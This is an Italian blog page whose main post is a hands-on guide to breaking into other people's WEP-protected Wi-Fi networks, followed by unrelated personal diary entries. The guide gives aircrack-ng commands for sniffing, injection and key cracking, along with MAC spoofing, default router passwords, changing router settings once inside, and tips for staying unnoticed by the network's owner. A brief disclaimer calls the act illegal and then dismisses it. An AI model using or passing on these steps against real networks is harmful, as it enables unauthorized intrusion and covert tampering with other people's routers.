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Come ottenere una chiave wep

La seguente guida è fornita a scopo conoscitivo.

E’ illegale ottenere la password e accedere ad una rete altrui senza il consenso del proprietario.

Ognuno poi faccia il meglio che crede…

 

Come
ottenere una chiave wep

NECESSARIO

  • la
    buona rete


    La rete wireless deve essere criptata con una chiave WEP
    statica (per capirlo prima di avventurarsi, è sufficiente voler
    connettersi, a quel punto verrà chiesta la password specificando se
    si tratta di WEP o WPA/PSK).


    La rete non deve essere troppo lontana. Il limite della ricezione
    è attorno al 10%
    (fare attenzione al fatto che si tratta di un
    valore relativo al s.o., al driver, etc). Naturalmente una maggior
    ricezione velocizza la procedura. In metri corrisponde ad
    un’ottantina massimo senza ostacoli e trenta circa attraverso muri.

     

  • Il
    buon materiale

    – una buona carta wireless.
    Ciò significa che la carta deve essere patchabile per l’iniezione
    di pacchetti (informarsi prima di procurarsela; normalmente i
    chipset Atheros lo sono, tenere conto dei driver utilizzati,
    ad esempio, per i ath5k non è necessaria la patch, poiché già
    predisposti all’iniezione). Fare attenzione non alla marca (per es.
    netgear), ma al chipset (per es. atheros).

    – un’antenna. Secondo
    la ricezione può essere più o meno indispensabile. Per i pc
    portatili è praticamente impossibile autocostruirla (a meno di
    smontare mezzo computer) mentre per le schede che dispongono
    dell’uscita connettore N ci sono molte guide disponibili sulla rete
    (http://wireless.iport.it/creare-antenna-wifi.html,
    http://www.irex.it/articolo/antenna-wifi-pringles.html

    ,http://www.napoliwireless.net/doku/doku.php).

     

  • Il
    buon software

    – Purchè, a quanto pare, sia
    possibile utilizzare Windows è vivamente consigliato GNU/Linux.
    Va bene qualsiasi distribuzione che abbia una scheda wireless
    riconosciuta ed un’eventuale patch per l’iniezione (con i ath5k non
    è necessaria, con Backtrack c’è già) ed abbia installato la suite
    aircrack-ng.

    – Per semplificarsi al massimo
    la vita esiste Backtrack, una distribuzione linux live
    appositamente studiata per il testing delle reti in cui si trovano
    già tutti gli strumenti necessari. E’ sufficiente scaricare
    l’immagine .iso da www.remote-exploit.net/backtrack,
    masterizzarla e lanciare il boot da cd. Ne esistono anche
    altre, come nUbuntu.

POSTPRE-REQUISITI

  • Buona rete, buon materiale e
    buon software, si può quasi iniziare. Immaginiamo in gran massima
    di usare Backtrack.

  • Da terminale

    $
    su

la
password da inserire è
toor

questo
permetterà di agire in qualità di root (si vede nel terinale poiché
l’ultimo carattere della stringa
ordi@ordi~
# è un cancelletto e non più un $)

  • #iwconfig

permette
di capire che se il sistema vede la scheda, come si chiama (e
indirettamente che driver usa).

ordi@ordi-laptop:~#
iwconfig

lo
no wireless extensions.

wmaster0
no wireless extensions.

wlan0
IEEE 802.11bg ESSID:""

Mode:Managed
Frequency:2.437 GHz Access Point: 00:1D:6A:A8:08:E6

Bit
Rate=1 Mb/s Tx-Power=20 dBm

Retry
min limit:7 RTS thr:off Fragment thr=2352 B

Power
Management:off

Link
Quality=73/100 Signal level:-56 dBm Noise level=-103 dBm

Rx
invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0

Tx
excessive retries:0 Invalid misc:0 Missed beacon:0

eth0
no wireless extensions.

La
nostra scheda si chiamerà in questo caso wlan0. Se c’è scritto ath0
sarò una scheda atheros che usa i driver madwifi.

SNIFFARE

  • Il
    primo passo è sniffare il traffico rete. Innanzitutto occorre che
    la scheda di rete sia in mode monitor. Se si utilizzano i
    driver madwifi:

    #wlanconfig
    ath0 destroy

    #wlanconfig
    ath0 create wlandev wifi0 wlanmode monitor

  • Utilizzando
    altri driver, tra cui gli ath5k per i chipset atheros, occorre dare:

    #airmon-ng
    start wlan0

    Ciò
    creerà un’interfaccia virtuale mon0, che dovremo sostituire nei
    prossimi comandi a ath0

  • #
    airodump-ng -w test –-ivs [se vogliamo -c 11 e/o –bssid ] ath0

    Ho
    notato che delle volte è necessario specificare il canale, poiché
    altrimenti si riceve un errore nei passi successivi.

  • Adocchiare
    nella lista delle reti quelle WEP, le wep il cui pwr e rxq siano più
    alti e con parecchi beacons. Attendere che una station si
    connetta
    alla rete prescelta. Se nessuno dovesse connettersi: a)
    aver pazienza e lasciare girare airodump, guardando di tanto in
    tanto i risultati in /home/test.txt b) assicurarsi di essere
    abbastanza vicini alla rete (e quindi, eventualmente perfezionare la
    propria antenna) c) con backtrack2 e scheda.

SOLLECITARE PACCHETTI

  • #aireplay-ng
    -1 0 -e NOMERETE -h NO:ST:RO:MA:CC [-a BSSID] ath0

  • Se
    tutto va bene, l’output del comando dovrebbe felicitarsi per
    l’avvenuta autentificazione con un 🙂

  • Se
    dovessero invece esserci problemi

prestare
attenzione al fatto che potrebbe esserci un filtraggio di
indirizzi mac

Nel
caso, occorre cambiare il nostro indirizzo e sostituirlo con
quello presente nella colonna station di airodump-ng (in termini
tecnici: mac-spoofing). Per far ciò, appuntato l’indirizzo, occorre
seguire tale procedura se si hanno driver madwifi:

#
wlanconfig ath0 destroy
# ip link set dev wifi0 down
#
macchanger -m IN:DI:RI:ZZ:OM:AC wifi0
# ip link set dev wifi0 up
#
wlanconfig ath0 create wlandev wifi0 wlanmode monitor

oppure
quest’altra se si posseggono i ath5k:

# ip link set wlan0 down
# macchanger -r wlan0
# sudo ip link set dev wlan0 up
c'è da dire che la procedura con i driver ath5k sembra essere sperimentale: il cambio avviene felicemente, ma il dhclient non riesce ad acquisire l'indirizzo ip (i problemi quindi sono dopo, una volta ottenuta la pwd). Patchando debitamente il kernel si dovrebbe riuscire. Più info su https://kerneltrap.org/mailarchive/linux-ath5k-devel/2008/11/21/4197334/thread
    	

CAPTARE PACCHETTI

  • Se
    l’autentificazione è riuscita, è ora di captare i pacchetti:

    #
    aireplay-ng -3 -b BSSID -h MI:OA:DR:ES:MA:C mon0

Con questo vedremo i pacchetti
sfilare. In media sono necessari 200.000 pacchetti, una volta
raggiunti si può passare al passaggio seguente. Nei casi più
fortunati potrebbero essere sufficienti 40000 pacchetti circa (anche
se ciò avviene assai di rado)

DECRIPTARE LA KEY

  • #aircrack-ng
    -z test*.ivs -b BSSID

  • Con
    un po’ di fortuna l’output sarà qualcosa di simile:
    Aircrack-ng 1.0 rc3

 

[00:00:00] Tested 641 keys (got
204749 IVs)

KB
depth byte(vote)

0
0/ 1 33(295936) 16(230144) 30(227584) 2A(222464) 19(221696)

1
32/ 1 84(212736) E5(212480) 81(212224) 89(212224) 0B(211968)

2
3/ 9 F1(224768) 6E(223744) AA(222208) 53(221696) 9D(220672)

3
1/ 3 7D(234240) 45(229120) FE(223744) 68(222720) E9(222464)

4
1/ 4 3D(224768) 92(221952) E7(219136) 15(218880) 8A(218880)

KEY
FOUND!
[
33:35:47:51:37:35:56:47:56:48:47:45:32 ] (ASCII: 35GQ75VGVHGE2 )

Decrypted
correctly: 100%

     

POST DECRIPTAGGIO

  • A
    questo punto, PRIMA di inserire la chiave quando è richiesta è
    opportuno prestare attenzione a qualche
    precauzione.

  • Se
    fin’ora è stato immaginato di utilizzare una live apposita per il
    testing delle reti, d’ora in poi si immaginerà di usare il sistema
    operativo quotidiano, supponendo che questo sia la
    distro
    Ubuntu
    .

  • Se
    c’era un filtraggio mac, perché la connessione vada a buon fine
    occorre seguire la procedura per assumere in qualità di
    fake-address quello del client connesso.

  • Se
    anche non ci fosse un filtro, è buona norma per la propria
    privacy
    di cambiare il proprio mac, attraverso il comando
    macchanger
    -r wlan0
    che
    imposterà un mac casuale per la nostra scheda. Volendo è possibile
    creare un piccolo script.

Per creare lo script
(su una distro Ubuntu):

  • $
    sudo gedit ~/connetti

  • nella
    pagina che si presenta incollare:

sudo
ip link set wlan0 down

sudo macchanger -r wlan0
sudo ip link set wlan0 up
sudo /etc/init.d/networking restart
sudo iwconfig wlan0 rate 1M
sudo iwconfig wlan0 essid NOMERETE channel 11
sudo dhclient wlan0
  • Modificare
    secondo i propri parametri e salvare.

  • Da
    terminale:

    $
    sudo chmod a+x ~/connetti

    per
    rendere lo script eseguibile

  • Aggiungere
    lo script a Sistema>Applicazioni d’avvio

  • Connessi alla rete, è
    possibile modificare qualche parametro sul router (aprire porte,
    disattivare filtro ip, etc).

  • Questi
    sono gli
    indirizzi
    IP

    più comuni dei router:

    192.168.0.1
    192.168.1.1
    10.0.0.1
    10.0.1.1

  • Ecco, invece,alcune delle
    password di default per accedere ai router più diffusi:

  1. Linksys
    Wireless-G VPN Broadband Router
    (
    http://www.linksys.com/products/product.asp?grid=33&scid=35&prid=565
    )

    Default
    Login:

    admin/admin

    Default
    SSID:

    linksys-g

  2. Netgear
    WGR614
    e
    MR814
    Cable/DSL
    Wireless Router 54 Mbps/2.4 Ghz
    (
    http://www.netgear.com/products/prod_details.php?prodID=151&view=
    )

    Default
    Login:

    admin/password

    Default
    SSID:

    NETGEAR

  3. Microsoft
    MN-700 802.11g
    (
    http://www.microsoft.com/hardware/broadbandnetworking/productdetails.aspx?pid=002
    )

    Default
    Login:

    admin

    Default
    SSID:

    MSNHOME

  4. D-Link
    DI-624

    AirPlus XtremeG Access Point
    (
    http://www.dlink.com/products/?model=DI-624
    )

    Default
    Login:

    admin/admin

     

Qui
ce ne sono molte di più
http://www.routerpasswords.com/
e anche qua:
https://www.securinfos.info/passwords-liste-mots-de-passe.html
e qua
http://www.phenoelit-us.org/dpl/dpl.html

     

  • Se le password dovessero
    essere state modificate è il caso di prestare attenzione: il
    possessore della rete non è un utonto di base, ma ha un pochino più
    a cuore la sua sicurezza (in realtà in questo caso è assai
    improbabile che abbia una chiave wep, ma vai a sapere!).

  • Se
    non ci si riesce a connettere potrebbe essere un problema di
    dhcp:
    il router non l’ha attivato. E’ preferibile connettersi tramite un
    ip fisso piuttosto che attivarlo (l’utente potrebbe accorgersi che
    qualcosa non va).

  • Se
    la password risulta errata può essere che la rete utilizzi un
    criptaggio a

    wep dinamica
    ,
    in quel caso è meglio cambiare rete.

3


autoproduzioni

caselli nella nebbia di cinquecento chilometri di pianura padana. trasferta per due giorni di autoproduzioni, tra squat che assomigliano a csa ti manca la bellavita e ti fa ridere il barista che chiede se le birre che sporgo siano da mettere da parte, go vegan imperante, con maiali da compagnia che grugniscono il mattino ed api che vengono barbaramente uccise, mangiando pane e salsiccia. divisione dei mondi anche a casa d'altri, con madri che parlano di abitazioni "regolari", offrono thè ed invitano a rivitalizzare tenute di collina, condite di ripetizioni e messe.
gli occhi aperti nella metro scintillante, incrociare volti conosciuti su percorsi estranei. il bello della casualità imprevedibile, un barolo da venti euro, un brunello da trenta ed un furgone che si ferma ad una barriera di péage, senza nottolino per le chiavi d'accensione. paris combo a tagliare la nebbia dell'autostrada dritta, verso lo sconosciuto improvvisato. un sacco a pelo dentro una roulotte, accanto ad una stufetta spenta, ma una pasta ai pomodorini secchi ti fa sentire a "casa" se mangiata dopo le tre di pomeriggio.
riflessioni sul mondo che forse mai verrà, sulla "realtà liberata" di poi, pensando a quella in cui si vive, tra lotte e compromessi. ed il tempo che si dilata, lunedì è lontano anche se è oggi, odore di gas nelle narici e freddo che è caldo. una scadenza per il diciasette che non mi fa sorridere, una tesina di merda da consegnare, peccato prima sia da battere su questi tasti che ora è così semplice accompagnare. conoscere, capire, aprirsi, scoprire, viaggiare, stare insieme.
ops, mi sono scordata di dormire! Continue reading


amara proprietà

ipoglicemia risolta con pagine alla melassa, romanzetti in tipico stile zuccheroso ed assai insipido, perchè Welsh, Ammaniti, Tawfik e Bukowski sono troppo geniali per una mente persa dietro ai bacetti ed alle happy ends, che non sa spiegarsi perchè si alza canticchiando la vie en rose in un mondo di barbe-à-papa.
che poi sia uno scudo contro l'inquietudine precaria è evidente, questo volersi avvicinare le ciglia e lasciarsi andare con le palpebre chiuse rispetto a buio che c'è fuori. non sono i nemici ben evidenti a farmi paura, è il subdolo che non so come affrontare, è quando senti di gente che si ammala e muore giorno dopo giorno, senza che nessuno possa fare nulla ed anche le pasticche che gli hai prescritto non sono servite a niente. paranoia per vivere in una casa troppo grossa, con la consapevolezza di non aver fatto niente per meritarmela e complessarmi perchè darei ragione a chiunque volesse entrare per rubarci qualcosa, anche se ho paura. una paura colpevole, senza le false sicurezze di leggi assassine che permetterebbro anche di uccidere chi varca la soglia alla ricerca di un pezzo di pane a cui, sicuramente, non ha meno diritto di me. eppure, mi trovo a sbarrare il cancello e svegliarmi di soprassalto la notte. perchè uno spazio occupato lo difenderei con le unghie e con i denti, ma la proprietà privata proprio non ce la faccio, non riesco a capire il perchè debba essere "mia". quasi cadessi nel trip di ritrovarmi davanti agli occhi qualcuno che conosco e chiederci reciprocamente "e tu che ci fai qui?".
non ho lottato per queste mura, non ho mai mosso un dito e mi sembra evidente che non riesca a sentirle mie, a pensarle in mio possesso, solo un'odiosa proprietà che, per ora, non mi appartiene neanche.
su un materasso unto e bucato, dentro un sacco a pelo, sotto una a cerchiata nera ed arancione, non ho mai avuto problemi ad addormentarmi, anche sentendo il vento che scuoteva i rami e le porte. mi trovo disarmata, ma non voglio sentirmi incoerente.
ma non annego per quello nello sciroppo di glucosio, è che, le contraddizioni mi lasciano spazio per immaginarmi vicino a qualcuno che per qualche giorno ancora è lontano da qui, due settimane non mi sono mai sembrate così lunghe, ed è per esorcizzare il timore che quelle migliaia di chilometri vengano sostituite da una ventina, senza che cambi nulla che cerco false sicurezze in libretti da quattro soldi e sorrido davanti a Wanda the Fish che mi predice, in un'ubuntu incriccata, love affairs in arrivo. so che nulla dipende dai bytes impazziti di una linux zoppicante, ma mi sembra tutto così poco razionale… Continue reading


OGGI COME 38 ANNI FA, fasci all’attacco noi alla sbarra

mi sveglio pensando al calore del pronome "noi", a come ti avvolge senza schiacciare la tua individualità, poichè ne è una continua estensione. che poi, senza sfociare in tante teorie socioantropologiche o similia, è anche il noi rincorso quando apri gli occhi con in testa qualcuno

ed il noi è anche vedere, sfogliando gli ultimi titoli dei post su noblogs, che c'è chi non vuole dimenticarsi del 12 dicembre, perchè oggi, sempre che si ricordi la data, si è convinti che a mettere la bomba siano state le brigate rosse. forse le stesse che hanno ucciso Enzo Biagi secondo mia sorella ("ma come fa a tornare in tele se è stato assassinato?"). e davvero, anche se il riso sale spontaneo, la rabbia brucia. ribolleil sangue nel vedere com'è stata efficace la propaganda di uno stato fascista ed assassino. perchè a fare saltare in aria la sede di Piazza Fontana non sono state ne' le BR, ne', tantomeno, il Pinelli trucidato da una spinta oltre la finestra del commisariato, ma chi vedeva la necessità di ristabilire l'ordine fascista e statale (perchè checchè ne dicano stalinisti e compagnia bella, lo stato, in quanto autorità e gerarchia non può non essere fascista). e che c'è di meglio se non una montatura mortale per un golpe? tanto, la sicurezza dell'impunità per i fascisti è certa, è scoraggiante dirlo, ma lo dimostrano i fatti. uno Zorzi (autore dell'esecuzione pratica dell'attentato del 12 dicembre) emigrato sotto copertura in giappone come famoso stilista -e lo è tutt'ora-, un Pinochet che non solo ha dovuto attendere la morte naturale a 91 anni (ma si sa i ricchi vivono più a lungo) senza dover ne' pagare tutto, ne' caro per le bestialità commesse ed ordinate, un Placanica eletto nelle file dei politici, ed i compagni in galera perchè attaccati dai fasci. non nego che si mischino piani che apparentemente nulla hanno a che fare gli uni con gli altri, ma un fil rouge c'è, e neppure tanto nascosto. è vero che ci sono fatti che bruciano sulla mia pelle, perchè i posti e le persone attaccate fanno parte della mia vita quotidiana, ma ciò non può sminuire una rabbia per fatti che sono veri e concreti, indipendentemente da quanto mi toccano. certo, manifestazioni a diversi livelli di schifi progressivamente maggiori, ma ciò non vuol dire che non siano comunque merda. perchè se dei fascistelli attaccano uno squat, a subire le denunce è chi cerca di difendersi, così da fare precedente e finire una settimana in galera ed ai domiciliari per una rissa…mentre sotto gli occhi degli sbirri, i loro simili, guardano divertiti ad una fermata di un bus.
 [continua…]
Continue reading


venaus bellavita

scintille come effimere ad illuminare la notte, mosse dal vento, spegnendosi nella loro brillantezza sul ramo spoglio di qualche albero di montagna

cielo limpido e terso con i capelli nel vento fresco, un vecchio ed una fisarmonica e le giovani che ballano

un vin brulé al peperoncino e salvia, variante su un tema immortale per ristoro e alcol
fagioli e salsiccia, caldo di una giacca e di una parola
tra le pentole in una panda
ridendo in un benessere disinteressato, di tempi andati tra biciclette rubate, squat sgomberati e chilometri sotto la neve
felicità palpabile, senza ragioni

distante più nei chilometri che nel tempo dall'arancione di lampioni di periferia, sguardi vuoti fissati sui semafori lampeggianti, con una brioche fredda in mano. e le triple corsie delle strade verso la prima cintura, troppo ampie, come se fossero troppi i centimetri tra chi è il volante e chi vicino, come se un abisso impedisse la comprensione a sguardi
ma in una mattina tra i campi e le montagne con le ruote sgonfie ed i pedali fuori asse, in un azzurro senza macchia, è evidente che il tempo sia passato
fortunatamente. Continue reading


lucide allucinazioni

risveglio appena prima di pranzo, con strane immagini stampate in testa. non mi capita spesso di sognare in modo così dettagliato e ricordarmi, quando apro gli occhi, così chiare le figure.
quasi quasi, un po' per scaramanzia, lo racconto questo sogno.
tutto inizia quando una mia amica, che frequenta altri posti, decide di venire a mangiare come me una pizza in uno squat. appena arrivate, e già non mi ricordo più l'ambientazione, c'è un tipo -su cui non sto a dilungarmi- che la prende, l'abbraccia e se la slingua, lì davanti a me. ed io ne rimango malissimo, anche se di ragioni per esserne gelosa non ne avrei, dal momento che il tipo è fidanzato. dopo un po' viene da me e si scusa tantissimo e io gli dico che non importa che faccia quello che vuole, mentre in realtà rodo dalla gelosia. comunque dopo un po', iniziamo a baciarci, ma non riesco a sentirgli la lingua, sembra che non ce l'abbia! senza che la cosa ci turbi particolarmente, iniziamo a cercare un posto dove stare, per poter continuare. a questo punto si introducono immagini contorte, di un posto senza porte ne' muri, solo con tende, vestiti appesi a dividere le stanze, intricate, le une dentro le altre, con gente che dorme in sacchi a pelo in ogni dove, anche le scale sono a pioli e collegano soppalchi non ben definiti, il tutto molto colorato. proviamo a stenderci (sempre baciandoci, toccandoci etc) su un giaciglio, ma dopo poco si scopre già occupato, in un altro c'è un bambino che guarda e la zia gli dice di smetterla, dovunque c'è sempre qualcuno. una simil stanza delimitata da un soffitto di stoffa molto basso sembra andar bene perchè, chi c'è sta dormendo. è buio, ma ad un certo punto qualcuno accende la luce e io dico di spegnerla perchè mi vergogno se c'è gente con la luce accesa. poi tira fuori un preservativo usato (non usato, usato, solo infilato e sfilato) e gli chiedo perchè (non perchè lo abbia preso, ma perchè non sia nuovo!), mi risponde di non preoccuparmi. ma (ah!), lo sta infilando su un salame di turgia, perchè non ha il cazzo (anche se prima mi era sembrato di fargli una sega e che fosse venuto!!)!! io ci rimango malissimo e penso di scappare via. a questo punto, un attimo di vuoto temporale, mi ricordo solo che sono tutti in allarme per l'arrivo di un personaggio cattivo, uno yeti con una felpa ed il cappuccio enorme, scappiamo tutti attraverso l'intrico di scale, soppalchi, tende etc, lanciandogli delle cose. ad un certo punto, prendo un tombino e glielo lancio come se fosse un fresbee! poi, non mi ricordo più bene come, ma se ne va, ed allora, una ragazza che conosco ma con cui non parlo molto, mi avverte che c'è un suo compagno che fa chimica (e lei fa architettura…boh) che sarebbe interessato a me, anche se mi ha visto con l'altro tipo. nel contempo c'era chi aveva preparato e stava servendo un pranzo dalle mille portate. e poi boh…
mi sono svegliata, abbastanza scossa per l'immagine, anzi penso mi abbia più shoccato da sveglia che mentre vivevo virtualmente la cosa…;) Continue reading


envie: quiero, quiero, ¿que quiero?

uscendo da lavoro, mi trovo a camminare sulla provinciale e mi fermo a raccogliere la sagoma di una foglia che brilla di un rosso vivo controluce. ma, nonappena ce l'ho fra le mani, s'ingrigisce perdendo il colore che mi aveva attratta. eppure, continuo a saltellare felice, guardando i fili verdi del grano che spuntano dal terreno, un po' come peli pubici da depilare. ma non è colpa mia se sono ancora un po' fatta e mi sono risvegliata su un materasso dentro un sacco a pelo. ma quando sono tornata ieri è stato già tanto esser riuscita a srotolarlo, sicuramente non ce l'avrei fatta a cercare le lenzuola pulite.
ho gli ormoni imbrigliati a doppio filo dai neuroni ed ho fatto ciò che non avrei mai creduto. o forse, sì, ho sempre lamentato un'eccesso di razionalità nei momenti sbagliati. eppure, eppure, avrei voluto lasciarmi andare. ne avevo tremendamente voglia. la forzatura è stato l'autoconvicer(ci) per il no e per una volta l'alcol non mi ha aiutato a tapparmi le orecchie ed a non sentire la coscienza che urla di guardarmi intorno prima di muovere un passo. uh, perchè?
voglia che cola, lenta e tortuosa come liquido viscoso. dalle sensazioni amplificate per le erbe di stagione, fumate e respirate fino all'ultimo sorso. la testa vola, ma il corpo non la segue, anche se paradossalmente è lui a volersi imbrigliare con un altro. c'è un abisso tra sesso e amore, e lo so fin troppo bene, ma non posso imporre la distinzione a chi ha la fortuna di vederli uniti. ahh. sorrido amaramente ed immagino nel soffice universo virtuale delle sostanza psicotrope ciò che avrebbe potuto essere. e anche ora, senza mediazione chimica, bramo rodendo. Continue reading


vacuità asettica

 

un cubo di cristallo dalla fragilità immensa, dal vuoto interno più grande dell'esterno che lo sovrasta. niente. cazzate. pensieri un po' più veri, scaglie della mia realtà, ne avrei avute da dire. e ci ho pure provato. avrei avuto bisogno di un confronto, umano. ma serravalle e le gru sono più importanti, dicerie su persone che non sono nemmeno conoscenti. il passato che non avrei mai voluto ritornasse, rieccolo ad inquietare i miei occhi. così da non sapere neanche più dove andare. perdere tanto per trovare poco?  forse trovare molto di più confronto a quello che non mi sono ancora decisa a slegare. quasi soffrissi di schizofrenia e vivessi a giorni alterni situazioni uguali ma speculari. rivedere passarmi davanti esperienze già vissute che, questa volta, avrei ben voluto estirpare dal terreno più profondo. e per una volta, so di non poterci fare nulla. e le mie interiora continuano a marcire infradiciate dai miei pensieri che non trovano altra via d'uscita. ma l'errore, forse, è stato illudermi che fosse diverso. anche se sembra tutto così variegato, la realtà dimostra che non lo è, che un omogeneo grigiore sovrasta ciò che si era erroneamente pensato iridato. superiorità ostententata, ma retta su un castello di carte rosicchiate dalla monotonia. è questa l'unica cosa che devo capire ed abbandonare. incendiare come voiture di periferia.

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